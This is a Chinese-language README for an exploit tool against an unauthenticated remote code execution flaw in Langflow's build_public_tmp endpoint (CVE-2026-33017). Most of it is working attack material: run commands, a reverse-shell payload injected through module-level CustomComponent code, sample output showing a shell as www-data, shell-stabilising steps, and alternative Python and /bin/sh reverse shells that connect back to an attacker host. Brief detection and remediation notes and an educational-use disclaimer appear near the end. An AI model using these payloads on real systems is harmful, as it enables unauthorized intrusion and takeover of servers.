| 版本 | 状态 |
|---|
| <= 1.8.2 | 存在漏洞 |
| 1.9.0 | 已修复 |
该漏洞源于 validate.py 中的 prepare_global_scope() 函数,该函数在未进行适当沙箱隔离的情况下对每个 CustomComponent 节点的代码调用 exec()。当组件被加载/编译时,模块级别(类定义之外)的任何 Python 代码都会立即执行。
POST /api/v1/build_public_tmp/{flow_id}/flow
特征:
攻击者 POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← 任意代码执行
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <目标URL> --flow-id <流程ID> --lhost <监听IP> --lport <监听端口>
1. 反向 Shell
# 启动监听器
nc -lvnp 4444
# 运行漏洞利用
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. 使用短选项
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. 本地测试
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. 自定义超时
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| 参数 | 短选项 | 必填 | 描述 |
|---|---|---|---|
--url | -u | 是 | 目标 URL(例如 https://target.langflow.com) |
--flow-id | -f | 是 | 公共流程的流程 ID(UUID) |
--lhost | -lh | 是 | 用于反向 Shell 的监听 IP 地址 |
--lport | -lp | 是 | 用于反向 Shell 的监听端口 |
--timeout | -t | 否 | HTTP 超时时间(秒)(默认:15) |
该漏洞利用发送一个恶意的 CustomComponent 节点,该节点在模块级别执行代码:
import os
# 此代码在组件加载期间立即执行
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. 攻击者向 /api/v1/build_public_tmp/{flow_id}/flow 发送 POST 请求
2. Langflow 接收恶意的 CustomComponent
3. prepare_global_scope() 对组件代码调用 exec()
4. 模块级别代码立即执行
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. 反向 Shell 连接回攻击者的监听器
6. 图编译继续(但为时已晚)
exec() 期间执行exec() 在无限制的情况下被调用data 参数被直接嵌入$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow 未认证 RCE
============================================================
[!] 请确保你的监听器正在运行:
nc -lvnp 4444
[+] 目标 URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] 正在发送漏洞利用载荷...
[+] 状态码: 200
[+] 漏洞利用发送成功!
[+] 任务 ID: abc123-def456-789ghi
[*] 请检查你的监听器以获取反向 Shell!
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
获得反向 Shell 后:
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 或使用 script
script /dev/null -c bash
# 使用 Ctrl+Z 放入后台
# 然后运行:
stty raw -echo
fg
reset
export TERM=xterm
修改脚本以执行任意命令而非反向 Shell:
# 在 build_payload() 函数中:
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. Python Socket 反向 Shell
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. /bin/sh 反向 Shell(如果 bash 不可用)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flowos.system() 或 subprocess 的可疑 CustomComponent 代码/tmp/rce-proof 或 /tmp/executed 文件/build_public_tmp 端点添加适当的身份验证CustomComponent 的代码输入进行清理exec() 调用实施适当的沙箱机制| 日期 | 事件 |
|---|---|
| 2026 年 3 月 | 发现漏洞 |
| 2026 年 3 月 16 日 | 发布 GitHub 安全公告 |
| 2026 年 4 月 | 公开披露 |
| 2026 年 4 月 | 发布补丁(1.9.0) |
此项目仅用于教育目的。使用风险自负。
本软件仅用于教育和授权安全测试目的。作者不对因使用本软件造成的任何滥用或损害负责。用户有责任遵守所有适用的法律法规。
为安全研究而制作 🖤